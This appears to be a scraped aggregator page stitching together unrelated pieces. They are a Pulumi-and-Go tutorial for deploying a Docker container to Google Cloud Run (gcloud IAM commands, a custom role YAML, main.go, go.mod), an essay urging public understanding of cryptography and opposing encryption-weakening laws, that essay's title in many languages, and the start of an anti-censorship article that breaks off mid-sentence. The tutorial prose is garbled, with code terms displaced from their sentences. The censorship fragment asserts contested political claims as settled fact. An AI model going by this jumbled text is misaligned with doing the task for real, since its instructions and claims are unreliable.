Our AI powered platform uniquely supercharges B2B distributors sales through three channels: reps, email and e-commerce

proton.ai

protonai

This tutorial shows you how to deploy and automate a Docker container using Pulumi in Google Cloud Platform's Cloud Run with minimum permissions. Here's the GitHub Repository for reference: https://github.com/superjose/deploy-to-cloud-run-go Get the CLIs: . Create a Google Cloud Account Install Google Cloud CLI Install Pulumi CLI - We need it to build the Docker container. Install Docker Bootstrap the project: Create a directory: pulumi mkdir pulumi Run to initialize a pulumi project with Go (It can be your language of choice pulumi new go Navigate to the directory. pulumi cd pulumi Navigate to and create a new project. cloud.google.com Take note of the (Usually the project's name). project-id Generate the necessary permissions using gcloud CLI Login with the Google Auth CLI: gcloud auth login (Optional) Set the project in google cloud CLI (Can be changed anytime). This saves you from passing into every command. --project [PROJECT-ID] gcloud If your machine has multiple GCP projects, skip this step and pass the flag into every command. --project gcloud Create a service account (The account that Pulumi will connect to): gcloud iam service-accounts create pulumi-gcp --description="Pulumi GCP" Download the credentials for the service accounts and store them locally (Remember to replace with your GCP Project Id): [PROJECT-ID] gcloud iam service-accounts keys create ~/keys/gcp/pulumi-service-account-key-file.json --iam-account=pulumi-gcp@[PROJECT-ID].iam.gserviceaccount.com Set Pulumi's gcp credentials config path:
(This will connect the service account with Pulumi) pulumi config set gcp:credentials ~/keys/gcp/pulumi-service-account-key-file.json Set the GCP Project by doing: pulumi config set gcp:project [PROJECT-ID] Create a file (Inside the dir) and add the required permissions in : roles.gcp.yml pulumi includedPermissions # https://cloud.google.com/iam/docs/creating-custom-roles#creating
# Yaml to define the Pulumi GCP Roles that need to be created with gcloud CLI
title: Pulumi GCP Roles
description: |
  This policy ensures that all GCP roles are created using Pulumi.
stage: GA
# https://cloud.google.com/iam/docs/permissions-reference
includedPermissions:
  - serviceusage.services.list
  - serviceusage.services.enable
  - serviceusage.services.disable
  - serviceusage.services.get
  - serviceusage.services.use
    # Permissions for GCR
  - storage.objects.create
  - storage.objects.delete # Optional: only include if you need to delete images
  - storage.objects.get
  # Permissions for Google Artifact Registry
  - artifactregistry.repositories.create
  - artifactregistry.repositories.delete
  - artifactregistry.repositories.get
  - artifactregistry.repositories.list
  - artifactregistry.repositories.update
  - artifactregistry.repositories.downloadArtifacts
  - artifactregistry.repositories.uploadArtifacts
  - artifactregistry.repositories.deleteArtifacts
  # Permissions
  # Permissions
  - run.services.create
  - run.services.get
  - run.services.list
  - run.services.update
  - run.services.delete
  - run.services.getIamPolicy
  - run.services.setIamPolicy
  - iam.serviceAccounts.actAs
# NOTE: This should be removed the first time you're creating a role.
# This etag is to update the current active role (As GCP lets you manage multiple roles)
# I'm commenting it out so I can always replace the role
# etag: BwYS74Xx5y4= Create the with the file above:
(We assume we're running this code from the directory) pulumi_admin_role pulumi gcloud iam roles create pulumi_admin_role --project=[PROJECT-ID] --file='./roles.gcp.yml' In case you need to make edits, change the file and use: gcloud iam roles update pulumi_admin_role --project=[PROJECT-ID] --file='./roles.gcp.yml' We're also adding the role (I haven't found a better way) (Otherwise we'd get 403 errors when refreshing and updating in Pulumi)<sup>1</sup> serviceAccountAdmin gcloud projects add-iam-policy-binding [PROJECT-ID] --role roles/iam.serviceAccountAdmin   --member serviceAccount:pulumi-gcp@[PROJECT-ID].iam.gserviceaccount.com (The following will add the new role to the service account) gcloud projects add-iam-policy-binding [PROJECT-ID] --role projects/[PROJECT-ID]/roles/pulumi_admin_role   --member serviceAccount:pulumi-gcp@[PROJECT-ID].iam.gserviceaccount.com Our in the directory:
(Check the code for comments!) main.go pulumi We enable the required services (Artifact Registry, and Cloud Run). Artifact Registry is used to host the docker container image. Cloud Runner will launch the Docker image from Artifact Registry. We build the docker image locally (We specify the platform in case you're using an ARM chip like M1, M2, Snapdragon SQ, X Elite, etc.) We create a chain of "DependsOn" to notify Pulumi:
5.1 Services need to be enabled first
5.2 We create the Artifact Repository
5.3 We build the docker image and push it to Artifact Registry.
5.4 We pull the Docker Image from Artifact Registry and run it.
5.5 We add IAM permissions so it can be accessed from anywhere. package main

import (
	"errors"
	"log"
	"os"

	"github.com/joho/godotenv"
	"github.com/pulumi/pulumi-docker/sdk/v3/go/docker"
	"github.com/pulumi/pulumi-gcp/sdk/v7/go/gcp/artifactregistry"
	"github.com/pulumi/pulumi-gcp/sdk/v7/go/gcp/cloudrun"
	"github.com/pulumi/pulumi-gcp/sdk/v7/go/gcp/projects"
	"github.com/pulumi/pulumi/sdk/v3/go/pulumi"
)

// This is the name you created in Google Cloud Platform (GCP).
const gcpProjectId = "deploy-to-cloud-run-go"

// The Docker Image Name
const dockerImageName = "my-app-docker"
const artifactRegistryServiceName = "artifact-registry-api"
const artifactRegistryRepoName = "my-app-artifact-repo"
const artifactRegistryRepoLocation = "us-east1"
const cloudRunAdminServiceName = "cloud-run-admin-service"
const cloudRunServiceName = "cloud-run-service"

// For more info: https://cloud.google.com/run/docs/locations
const cloudRunLocation = "us-east1"

// The tag for the Docker image
const imageTag = "latest"

// This is a url like: us-east1-docker.pkg.dev
// It is used to push the Docker image to Google Container Registry
// For more info: https://cloud.google.com/container-registry/docs/pushing-and-pulling
// The format is: <region>-docker.pkg.dev
var dockerGCPServer = cloudRunLocation + "-docker.pkg.dev"

// The full path to the Docker image
// It is used to deploy the Docker image to Google Cloud Run
// The format is: <region>-docker.pkg.dev/<project-id>/<repo-name>/<image-name>:<tag>
// For more info: https://cloud.google.com/run/docs/deploying
// Example: us-east1-docker.pkg.dev/deploy-to-cloud-run-go/my-app--artifact-repo/my-app-docker:latest
var dockerImageWithPath = dockerGCPServer + "/" + gcpProjectId + "/" + artifactRegistryRepoName + "/" + dockerImageName + ":" + imageTag

func main() {

	// Load the .env file
	err := godotenv.Load()

	if err != nil {
		log.Fatal("Error loading .env file")
	}

	pulumi.Run(func(ctx *pulumi.Context) error {

		enabledServices, serviceResultErr := enableServices(ctx)

		if serviceResultErr != nil {
			return serviceResultErr
		}

		artifactRegistryRepo, createArtifactErr := createArtifactRegistryNewRepository(ctx, &enabledServices)
		if createArtifactErr != nil {
			return createArtifactErr
		}

		dockerImage, buildAndPushErr := buildAndPushToContainerRegistry(ctx, &enabledServices, artifactRegistryRepo)

		if buildAndPushErr != nil {
			return buildAndPushErr
		}

		deployContainerErr := deployContainerToCloudRun(ctx, &enabledServices, dockerImage)

		if deployContainerErr != nil {
			return deployContainerErr
		}

		return nil
	})
}

type EnabledServices struct {
	CloudRunService         *projects.Service `pulumi:"cloudRunService"`
	ArtifactRegistryService *projects.Service `pulumi:"artifactRegistryService"`
}

func enableServices(ctx *pulumi.Context) (EnabledServices, error) {

	cloudRunService, cloudRunAdminErr := projects.NewService(ctx, cloudRunAdminServiceName, &projects.ServiceArgs{
		Service: pulumi.String("run.googleapis.com"),
		Project: pulumi.String(gcpProjectId),
	})

	if cloudRunAdminErr != nil {
		return EnabledServices{}, cloudRunAdminErr
	}

	artifactRegistryService, err := projects.NewService(ctx, artifactRegistryServiceName, &projects.ServiceArgs{
		Service: pulumi.String("artifactregistry.googleapis.com"),
	})

	if err != nil {
		return EnabledServices{}, err
	}
	return EnabledServices{
		CloudRunService:         cloudRunService,
		ArtifactRegistryService: artifactRegistryService,
	}, nil
}

func createArtifactRegistryNewRepository(ctx *pulumi.Context, enabledServices *EnabledServices) (*artifactregistry.Repository, error) {

	if enabledServices == nil || enabledServices.ArtifactRegistryService == nil {
		return nil, errors.New("enabledServices cannot be nil")
	}

	dependingResources := []pulumi.Resource{
		enabledServices.ArtifactRegistryService,
	}

	repo, err := artifactregistry.NewRepository(ctx, artifactRegistryRepoName, &artifactregistry.RepositoryArgs{
		Location:     pulumi.String(artifactRegistryRepoLocation),
		RepositoryId: pulumi.String(artifactRegistryRepoName),
		Format:       pulumi.String("DOCKER"),
		Description:  pulumi.String("The repository that will hold social-log Docker images."),
	}, pulumi.DependsOn(dependingResources))

	if err != nil {
		return nil, err
	}

	return repo, nil
}

func buildAndPushToContainerRegistry(ctx *pulumi.Context, enabledServices *EnabledServices, artifactRegistryRepo *artifactregistry.Repository) (*docker.Image, error) {

	if enabledServices == nil || enabledServices.ArtifactRegistryService == nil {
		return nil, errors.New("enabledServices cannot be nil")
	}

	if artifactRegistryRepo == nil {
		return nil, errors.New("artifactRegistryRepo cannot be nil")
	}

	// Lookup GOOGLE_CREDENTIALS environment variable which should hold the path to the JSON key file
	jsonKeyPath, present := os.LookupEnv("GOOGLE_CREDENTIALS_FILE_PATH")
	if !present {
		return nil, errors.New("GOOGLE_CREDENTIALS_FILE_PATH environment variable is not set")
	}

	// Read the JSON key file
	jsonKey, err := os.ReadFile(jsonKeyPath)
	if err != nil {
		return nil, err
	}

	dependingSources := []pulumi.Resource{
		enabledServices.ArtifactRegistryService,
		artifactRegistryRepo,
	}

	// Build and push Docker image to Google Container Registry using the JSON key
	image, err := docker.NewImage(ctx, dockerImageName, &docker.ImageArgs{
		Build: &docker.DockerBuildArgs{
			Context: pulumi.String("../"), // Adjust the context according to your project structure

			ExtraOptions: pulumi.StringArray{
				// This option is needed for devices running on ARM architecture, such as Apple M1/M2/MX CPUs
				pulumi.String("--platform=linux/amd64"),
			},
		},
		ImageName: pulumi.String(dockerImageWithPath),
		Registry: &docker.ImageRegistryArgs{
			Server:   pulumi.String(dockerGCPServer),
			Username: pulumi.String("_json_key"),     // Special username for GCP
			Password: pulumi.String(string(jsonKey)), // Provide the contents of the key file
		},
	}, pulumi.DependsOn(dependingSources))
	if err != nil {
		return nil, err
	}

	return image, nil
}

func deployContainerToCloudRun(ctx *pulumi.Context, enabledServices *EnabledServices, dockerImage *docker.Image) error {

	if enabledServices == nil || enabledServices.CloudRunService == nil {
		return errors.New("enabledServices cannot be nil")
	}

	if dockerImage == nil {
		return errors.New("dockerImage cannot be nil")
	}

	dependingSources := []pulumi.Resource{
		enabledServices.CloudRunService,
		dockerImage,
	}

	appService, err := cloudrun.NewService(ctx, cloudRunServiceName, &cloudrun.ServiceArgs{
		Location: pulumi.String(cloudRunLocation), // Choose the appropriate region for your service
		Template: &cloudrun.ServiceTemplateArgs{
			Spec: &cloudrun.ServiceTemplateSpecArgs{
				Containers: cloudrun.ServiceTemplateSpecContainerArray{
					&cloudrun.ServiceTemplateSpecContainerArgs{
						Image: dockerImage.ImageName,
						Resources: &cloudrun.ServiceTemplateSpecContainerResourcesArgs{
							Limits: pulumi.StringMap{
								"memory": pulumi.String("256Mi"), // Adjust the memory limit as needed
							},
						},
					},
				},
			},
		},
		Traffics: cloudrun.ServiceTrafficArray{
			&cloudrun.ServiceTrafficArgs{
				Percent:        pulumi.Int(100),
				LatestRevision: pulumi.Bool(true),
			},
		},
	}, pulumi.DependsOn(dependingSources))

	if err != nil {
		return err
	}

	_, iamErr := cloudrun.NewIamMember(ctx, "invoker", &cloudrun.IamMemberArgs{
		Service:  appService.Name,
		Location: appService.Location,
		Role:     pulumi.String("roles/run.invoker"),
		Member:   pulumi.String("allUsers"),
	})

	if iamErr != nil {
		return iamErr
	}

	ctx.Export("containerUrl", appService.Statuses.Index(pulumi.Int(0)).Url().ToOutput(ctx.Context()))
	return nil
} Update the in your Dockerfile:
There's a , and in which you need to export your environment variable to ENV known issue here HOME /root # Set the ENV HOME before your ENTRYPOINT.
ENV HOME=/root

# This is specific to your project. 
ENTRYPOINT ["/whatever-is-your-entrypoint"] Create a .env file in the pulumi directory: Set the * to the one you saved on full path 11) GOOGLE_CREDENTIALS_FILE_PATH="/Users/myusername/keys/gcp/pulumi-service-account-key-file.json" Run pulumi up You should be up and running! Extras The go.mod module social-log-go

go 1.21

toolchain go1.22.0

require (
	github.com/pulumi/pulumi-gcp/sdk/v7 v7.11.2
	github.com/pulumi/pulumi/sdk/v3 v3.108.1
)

require (
	dario.cat/mergo v1.0.0 // indirect
	github.com/Masterminds/semver v1.5.0 // indirect
	github.com/Microsoft/go-winio v0.6.1 // indirect
	github.com/ProtonMail/go-crypto v0.0.0-20230828082145-3c4c8a2d2371 // indirect
	github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da // indirect
	github.com/agext/levenshtein v1.2.3 // indirect
	github.com/apparentlymart/go-textseg/v13 v13.0.0 // indirect
	github.com/atotto/clipboard v0.1.4 // indirect
	github.com/aymanbagabas/go-osc52/v2 v2.0.1 // indirect
	github.com/blang/semver v3.5.1+incompatible // indirect
	github.com/charmbracelet/bubbles v0.16.1 // indirect
	github.com/charmbracelet/bubbletea v0.24.2 // indirect
	github.com/charmbracelet/lipgloss v0.7.1 // indirect
	github.com/cheggaaa/pb v1.0.29 // indirect
	github.com/cloudflare/circl v1.3.7 // indirect
	github.com/containerd/console v1.0.4-0.20230313162750-1ae8d489ac81 // indirect
	github.com/cyphar/filepath-securejoin v0.2.4 // indirect
	github.com/djherbis/times v1.5.0 // indirect
	github.com/emirpasic/gods v1.18.1 // indirect
	github.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376 // indirect
	github.com/go-git/go-billy/v5 v5.5.0 // indirect
	github.com/go-git/go-git/v5 v5.11.0 // indirect
	github.com/gogo/protobuf v1.3.2 // indirect
	github.com/golang/glog v1.1.0 // indirect
	github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
	github.com/golang/protobuf v1.5.3 // indirect
	github.com/google/uuid v1.3.0 // indirect
	github.com/grpc-ecosystem/grpc-opentracing v0.0.0-20180507213350-8e809c8a8645 // indirect
	github.com/hashicorp/errwrap v1.1.0 // indirect
	github.com/hashicorp/go-multierror v1.1.1 // indirect
	github.com/hashicorp/hcl/v2 v2.17.0 // indirect
	github.com/inconshreveable/mousetrap v1.1.0 // indirect
	github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99 // indirect
	github.com/joho/godotenv v1.5.1 // indirect
	github.com/kevinburke/ssh_config v1.2.0 // indirect
	github.com/lucasb-eyer/go-colorful v1.2.0 // indirect
	github.com/mattn/go-isatty v0.0.19 // indirect
	github.com/mattn/go-localereader v0.0.1 // indirect
	github.com/mattn/go-runewidth v0.0.15 // indirect
	github.com/mitchellh/go-ps v1.0.0 // indirect
	github.com/mitchellh/go-wordwrap v1.0.1 // indirect
	github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 // indirect
	github.com/muesli/cancelreader v0.2.2 // indirect
	github.com/muesli/reflow v0.3.0 // indirect
	github.com/muesli/termenv v0.15.2 // indirect
	github.com/opentracing/basictracer-go v1.1.0 // indirect
	github.com/opentracing/opentracing-go v1.2.0 // indirect
	github.com/pgavlin/fx v0.1.6 // indirect
	github.com/pjbgf/sha1cd v0.3.0 // indirect
	github.com/pkg/errors v0.9.1 // indirect
	github.com/pkg/term v1.1.0 // indirect
	github.com/pulumi/appdash v0.0.0-20231130102222-75f619a67231 // indirect
	github.com/pulumi/esc v0.6.2 // indirect
	github.com/pulumi/pulumi-docker/sdk/v3 v3.6.1 // indirect
	github.com/rivo/uniseg v0.4.4 // indirect
	github.com/rogpeppe/go-internal v1.11.0 // indirect
	github.com/sabhiram/go-gitignore v0.0.0-20210923224102-525f6e181f06 // indirect
	github.com/santhosh-tekuri/jsonschema/v5 v5.0.0 // indirect
	github.com/sergi/go-diff v1.3.1 // indirect
	github.com/skeema/knownhosts v1.2.1 // indirect
	github.com/spf13/cobra v1.7.0 // indirect
	github.com/spf13/pflag v1.0.5 // indirect
	github.com/texttheater/golang-levenshtein v1.0.1 // indirect
	github.com/tweekmonster/luser v0.0.0-20161003172636-3fa38070dbd7 // indirect
	github.com/uber/jaeger-client-go v2.30.0+incompatible // indirect
	github.com/uber/jaeger-lib v2.4.1+incompatible // indirect
	github.com/xanzy/ssh-agent v0.3.3 // indirect
	github.com/zclconf/go-cty v1.13.2 // indirect
	go.uber.org/atomic v1.9.0 // indirect
	golang.org/x/crypto v0.17.0 // indirect
	golang.org/x/exp v0.0.0-20231110203233-9a3e6036ecaa // indirect
	golang.org/x/mod v0.14.0 // indirect
	golang.org/x/net v0.19.0 // indirect
	golang.org/x/sync v0.5.0 // indirect
	golang.org/x/sys v0.15.0 // indirect
	golang.org/x/term v0.15.0 // indirect
	golang.org/x/text v0.14.0 // indirect
	golang.org/x/tools v0.15.0 // indirect
	google.golang.org/genproto/googleapis/rpc v0.0.0-20230706204954-ccb25ca9f130 // indirect
	google.golang.org/grpc v1.57.1 // indirect
	google.golang.org/protobuf v1.31.0 // indirect
	gopkg.in/warnings.v0 v0.1.2 // indirect
	gopkg.in/yaml.v3 v3.0.1 // indirect
	lukechampine.com/frand v1.4.2 // indirect
) If you include this Run , and this will fetch all the packages for you go.mod go tidy Footnotes I fought against permissions for 5 days. The predefined GCP role brought in the additional permissions needed. 1* serviceAccountAdmin

Automate and Deploy a Docker Container to Google Cloud Run from Scratch Using Pulumi and Go

In 2016, when I began advocating for a switch from WhatsApp and Telegram to Signal in conversations with colleagues, friends, and family, I made a startling discovery: the vast majority of people, especially those outside the cybersecurity field, seemed largely indifferent to the crucial role of cryptography in our everyday lives. This apathy was particularly pronounced during discussions about Facebook's plans to integrate its messaging platforms with WhatsApp. The concern here stems from the different approaches to privacy and security adopted by these platforms despite them utilizing the same end-to-end encryption protocol developed by . WhatsApp, operating under Facebook, has been scrutinized for its potential use of metadata, raising questions about user privacy. On the other hand, Signal's open-source nature and minimal data collection practices are generally perceived as more secure and private, underscoring its commitment to user privacy. Open Whisper Systems Telegram, another popular messaging app, offers end-to-end encryption only in its 'Secret Chats' feature and not in regular chats or group chats. This critical distinction is important for users to understand when selecting a messaging platform based on their privacy needs. This scenario underscores a broader issue: the public's lack of awareness about the critical importance of robust cryptographic practices in safeguarding our digital interactions. It seems that many fail to recognize that cryptography forms the bedrock of our online communications, whether it's for personal conversations, financial transactions, or sensitive data sharing. As I engaged more in these discussions, it became clear that a fundamental understanding of how our data is protected—or possibly exposed—is vital due to our increasing reliance on digital platforms. If you are contemplating a switch from WhatsApp to Signal or wondering about Telegram's position in this context, a comprehensive comparison of these platforms is available in . This piece thoughtfully explains the nuanced differences in how these apps manage end-to-end encryption and user data, highlighting the intricacies of cryptography in everyday use. this article on CyberNews Cryptography ignorance is a bliss for Government regulators In the halls of the European Union, a bill has sparked significant debate with its aim to weaken end-to-end encryption, ostensibly to combat child sexual abuse. Despite some good intentions, this legislative effort is mired in controversy due to its potential impact on the privacy rights of EU citizens. A detailed analysis by Riana Pfefferkorn at Stanford's Center for Internet and Society, available , delves into the complexities of this issue. The EU's draft Child Sex Abuse Regulation suggests that online service providers proactively scan their services, including private communications, for abusive material, a major shift from current laws that allow for voluntary detection. here This proposal has triggered dissent among EU member states, underscoring the tension between child protection and the rights of over 447 million EU citizens. The bill's approach to end-to-end encryption, a cornerstone of digital privacy and security, has raised significant legal and technical concerns. End-to-end encryption safeguards communications from external surveillance, but poses challenges for law enforcement in detecting illegal activities. The ongoing debate in the EU highlights how a lack of public understanding of cryptography can be exploited by regulators. Policies lacking a comprehensive grasp of encryption and its implications risk inadvertently undermining the foundational principles of privacy and security. An informed discussion, considering both the technical realities of encryption and the legal frameworks governing digital rights, is essential. In Australia, the government has passed an unprecedented law that poses a significant threat to global privacy. Known as the TOLA Act, this 2018 legislation compels tech companies to provide Australian authorities with access to encrypted messages, essentially mandating the creation of backdoors. Despite a recent review proposing additional safeguards and oversight mechanisms, the law's core mandate, particularly regarding access to encrypted communications, remains largely intact. This move has serious implications, as it not only compromises the security of communications within Australia but also sets a dangerous precedent globally. The law's broad scope and potential for misuse raise significant concerns among privacy advocates and security experts. More details about this concerning development, including the recent review's findings, can be found in this article by the . Foundation for Economic Education Similarly, the United Kingdom is on the cusp of adopting policies that could significantly weaken encryption worldwide. The Online Safety Bill, ostensibly designed to enhance online safety, paradoxically risks making individuals less secure online. The recently passed bill mandates that tech companies weaken their encryption services, potentially exposing users to increased cyberattacks and privacy violations. The far-reaching implications of these legislative actions are explored in greater depth by the and . Electronic Frontier Foundation The Conversation Panama Papers and the Value of Cryptography in Journalism and Advocacy The Panama Papers were a groundbreaking revelation in the world of investigative journalism, showcasing the transformative power of encryption in the fight against global corruption. In 2016, over 11.5 million documents were leaked from Mossack Fonseca, the world's fourth-largest offshore law firm, uncovering the intricate financial dealings of the elite. The leak revealed the identities of individuals and entities involved in potentially illicit activities across more than 214,000 offshore companies. Encryption was crucial in this process, as it protected the identity of the whistleblower, known as "John Doe," and ensured the secure and confidential transmission of this sensitive data. This case demonstrated how strong encryption is not only a technical tool but a fundamental enabler of privacy, democratic principles, and journalistic integrity. In an era where digital security and privacy are increasingly under threat, the story of the Panama Papers serves as a potent reminder of the essential role of encryption. Bastian Obermayer, the investigative journalist who brought the Panama Papers to light, emphasizes this in for Euroviews. He recounts how the insistence on strictly encrypted communication was a lifeline for the whistleblowers, enabling them to safely share information that would shake the world. this article As Obermayer points out, without strong encryption, the risks to both the source and the journalists would have been exponentially greater. The investigation into the Panama Papers not only brought to light financial crimes and global corruption but also highlighted how encryption empowers individuals to challenge powerful entities and expose injustice. However, this crucial tool for maintaining privacy and enabling transparency is facing legislative challenges globally, from the UK's Online Safety Bill to the US's EARN IT Act and the EU's Child Sexual Abuse Regulation proposals. Encryption, as Obermayer asserts, is a massive asset for democracy. It allows for private conversations, which are essential for a healthy public discourse and investigative journalism. The Panama Papers are a testament to the power of encryption in giving a voice to the voiceless and standing up against injustice. It's a narrative that emphasizes the need to not only understand but also to defend strong encryption – for it is in this technology that the strength of our democracies and the protection of our fundamental freedoms lie. Cryptography 101: Public key cryptography (PKC) and the RSA algorithm In the following paragraph, I will share a series of resources for people of different backgrounds interested in learning more about cryptography. However, the world would already be in a better place if most people had a basic understanding of two of the pillars of modern cryptography: public key cryptography (PKC) and the RSA Algorithm. In 1976, Whitfield Diffie, Martin Hellman, and Ralph Merkle revolutionized electronic communication security by developing public key cryptography (PKC). This innovative method forms the cornerstone of modern secure communication, ensuring the confidentiality and integrity of our digital interactions. : The Essence of PKC At the core of cryptographic security are two types of keys: private and public. These keys are essential to asymmetric encryption, a method where different keys are used for encrypting and decrypting messages. Public and Private Keys This key is confidential and exclusively known to the user. It's never shared and is used primarily for two purposes: decrypting data encrypted with the corresponding public key and signing digital documents to authenticate the sender's identity. Private Key: Contrasting with the private key, the public key is openly shared and available to anyone. It is utilized to encrypt data that can only be decrypted by the matched private key, thus ensuring that only the intended recipient can access the transmitted information. Public Key: Building on PKC Principles The RSA algorithm, developed by Rivest, Shamir, and Adleman, is one of the first and most widely used public-key cryptographic algorithms. It builds upon the principles of PKC established by Diffie, Hellman, and Merkle. This algorithm is a fundamental technology behind many secure systems we depend on today, from HTTPS protocols on the internet to secure email communication. The RSA Algorithm: RSA functions by generating two large prime numbers in secret and multiplying them to produce a public number. The security of RSA hinges on the difficulty of factoring this large public number back into its prime components. Functionality: RSA is integral in various applications, including digital signatures, secure data transmission, and encryption of sensitive information. Its extensive use is a strong indicator of its effectiveness and security. Use Cases: RSA, while robust, confronts challenges like increasing computational capabilities and the potential impact of quantum computing, underscoring the need for continuous development in cryptographic methods. Challenges and Limitations: The Significance of PKC and RSA Understanding the basics of PKC and the RSA algorithm is crucial for anyone involved in cybersecurity or digital privacy. These concepts are practical tools safeguarding our digital lives, not merely theoretical ideas. Their comprehension clarifies much of the encryption we encounter daily and empowers us to make more informed decisions about our digital security. Resources to Become Cryptography-Savvy The journey to becoming a cryptography-savvy user is a path of continuous learning and engagement. Whether you're a novice with no technical background or someone looking to deepen existing knowledge, the world of cryptography offers an array of resources to explore. Here's a guide to help you navigate this journey, categorized for different levels of expertise. For Beginners (No Technical Skills Required): A comprehensive introduction to cryptography's history and principles. " " by Simon Singh: The Code Book A user-friendly online course covering the basics of cryptography. Khan Academy's : Cryptography Course Engaging talks that make complex concepts in cryptography accessible. TED Talks on Cryptography: Intermediate Level (Some Technical Background Helpful): Delves deeper into cryptographic principles and digital applications. " " by Keith Martin: Cryptography: The Key to Digital Security, How It Works, and Why It Matters Intermediate-level courses offering deeper insights into cryptography. : Coursera's Cryptography Courses Advanced Level (Technical Skills Required): A classic text for those with a solid technical background. " " by Bruce Schneier: Applied Cryptography Find it on Amazon Challenging courses for an in-depth understanding of advanced topics. MIT : OpenCourseWare's Cryptography and Cryptanalysis Courses Build real-world cryptography knowledge and explore modern algorithms. This book is ideal for deepening your understanding of advanced cryptography concepts and applications. “ " by Massimo Bertaccini: Cryptography Algorithms: A guide to algorithms in blockchain, quantum cryptography, zero-knowledge protocols, and homomorphic encryption Online Forums and Communities: Engage with communities on Reddit for insights and discussions. : Cryptology Subreddits and Online Forums For practical understanding, explore projects related to cryptography on GitHub. : GitHub Repositories Staying Updated: Blogs and Newsletters: Keep up with the latest developments by following leading cryptography blogs ( and subscribing to newsletters. ) Bruce Schneier's Blog Remember, becoming knowledgeable in cryptography is about more than just learning; it's about understanding its societal impact, advocating for digital rights, and ensuring security. Share your insights and learnings with your network to contribute to a more informed community. How I Protect My Data In my pursuit of digital privacy and security, I carefully select platforms renowned for their robust encryption and commitment to user privacy. However, I am acutely aware that in the dynamic world of technology, no solution is ever permanent. Changes in company ownership or philosophy can alter the landscape, requiring constant vigilance and readiness to adapt. My primary choice for instant messaging is . Praised for its end-to-end encryption, Signal ensures that my communications remain confidential. As an open-source platform, it undergoes regular scrutiny by the cybersecurity community, enhancing its trustworthiness. Signal's commitment to privacy is not just about robust technology; it's also about a philosophy that values user privacy above all else. Signal for Instant Messaging: Signal For email, I rely on . Based in Switzerland, a country known for its strong privacy laws, ProtonMail offers end-to-end encrypted email services. This means that not even ProtonMail can access the contents of my emails, ensuring complete privacy. Their use of open-source encryption and their transparent operational policies align with my personal security requirements. ProtonMail for Email Communications: ProtonMail Beyond these platforms, I am also exploring decentralized solutions, particularly blockchain-based communication tools. Decentralization offers a unique advantage by removing the single point of control or failure, which is a vulnerability in centralized systems. Exploring Decentralized Solutions: One such example is , a blockchain-based chat platform. Status operates on the Ethereum blockchain, providing not only messaging services but also a crypto wallet and a decentralized web browser. Its open-source and peer-to-peer protocol offers transparency and security, resonating with my approach to digital privacy. The platform's commitment to user sovereignty and data protection, free from corporate oversight or governmental interference, presents a promising alternative in the ever-changing digital landscape. Status In conclusion, while platforms like Signal and ProtonMail currently meet my privacy and security needs, I remain open and attentive to the developments in decentralized solutions like Status. The digital world is in constant flux, and staying informed and flexible is key to ensuring the enduring safety and privacy of my data. Understanding Cryptography: Protecting Your Privacy Rights In this rapidly evolving digital age, the significance of cryptography extends far beyond the realms of specialized cybersecurity professionals. It touches the lives of every individual who interacts with the digital world. While becoming an expert in cryptography may not be feasible or necessary for everyone, having a fundamental understanding of its principles and implications is crucial. This knowledge empowers us to make informed decisions about our digital privacy and security and to critically assess the policies and technologies that govern our online interactions. As we have explored, cryptography is not just a tool for safeguarding data; it's a cornerstone of our digital rights and freedoms. Whether it’s choosing secure communication platforms, understanding the legislative landscape, or simply staying informed about the latest developments in encryption and privacy, every step you take toward understanding cryptography strengthens your position in the digital world. Remember, in the fight for digital privacy and freedom, awareness is your greatest ally. You don't need to be an expert, but understanding the basics of cryptography and staying informed about how it impacts your life is a step towards a more secure and private digital future.

Most People Don't Care About Cryptography, and That's a Problem

অধিকাংশ মানুষ ক্রিপ্টোগ্রাফি সম্পর্কে চিন্তা করে না, এবং এটি একটি সমস্যা

Die meisten Menschen interessieren sich nicht für Kryptographie, und das ist ein Problem

A la mayoría de la gente no le importa la criptografía, y eso es un problema

La plupart des gens ne se soucient pas de la cryptographie, et c'est un problème

अधिकांश लोग क्रिप्टोग्राफी की परवाह नहीं करते, और यह एक समस्या है

ほとんどの人は暗号化について関心がありませんが、それが問題です

대부분의 사람들은 암호화에 관심이 없으며 이것이 문제입니다.

A maioria das pessoas não se importa com criptografia, e isso é um problema

Большинству людей плевать на криптографию, и это проблема

Çoğu İnsan Kriptografiyi Önemsemiyor ve Bu Bir Sorun

Hầu hết mọi người không quan tâm đến mật mã và đó là một vấn đề

大多数人不关心密码学，这是一个问题

Photo by __[Chris Yang](https://unsplash.com/@chrisyangchrisfilm?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)__ on __[Unsplash](https://unsplash.com/s/photos/anonymous-messaging?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)__ Journalists, environmental activists, citizens of oppressive governments, and political opposition leaders. What do all of these have in common? They all face real danger by expressing their opinions. Over the past year, we’ve seen a crisis hitting freedom of speech. With most social networks owned by private corporations, they reserve the full right to monitor and police all content published on their services. However, the problem is that even if your government fully respects freedom of speech, private companies do not have to. This created an environment where discussing certain topics is taboo and can cause your account to be suspended temporarily or even permanently banned. People have resorted to communication apps that utilize end-to-end encryption. Though with their usage of your data to serve you personalized advertisements, they’re hardly privacy-oriented. Let’s discuss what options users have that can allow them to communicate freely without fear of prosecution or even physical harm. The spark that lit a wildfire: Widely-adopted censorship As we open Pandora’s box, it’s important to understand censorship. , censorship is the changing, suppression, or prohibition of speech or writing that is deemed subversive of the common good. Sounds almost honorable, doesn’t it? We need to clarify a few things. First of all, what exactly is the “common good”? Let’s take a look at and we may get a better idea of what the common good really means. , the suppression of words, images, or ideas that are “offensive,” happens whenever some people succeed in imposing their personal political or moral values on others. Censorship can be carried out by the government as well as private pressure groups. According to Britannica , the ACLU definition of censorship Censorship Censorship by the government is unconstitutional. After one look, we can come to the conclusion that censorship can be interpreted as a tool to silence descendants. The common good is purely concerning reaching political goals, that’s all. While government-imposed censorship is unconstitutional, the majority of political & social conversations are held on social networks, all of which have previously imposed censorship rules based on instructions provided by the US government, and we’ve heard it from officials themselves; it’s no secret. One example we can bring up is , during which he stated that they have received warnings from the FBI when claims were uncovered regarding an abandoned laptop belonging to the US president’s son, Hunter Biden, containing extremely concerning materials that could have negatively affected Joseph Biden’s presidential campaign. The FBI claimed that there was no truth to these ‘rumors’, which turned out to be factual. Government-imposed censorship through private companies is the modern way to silence 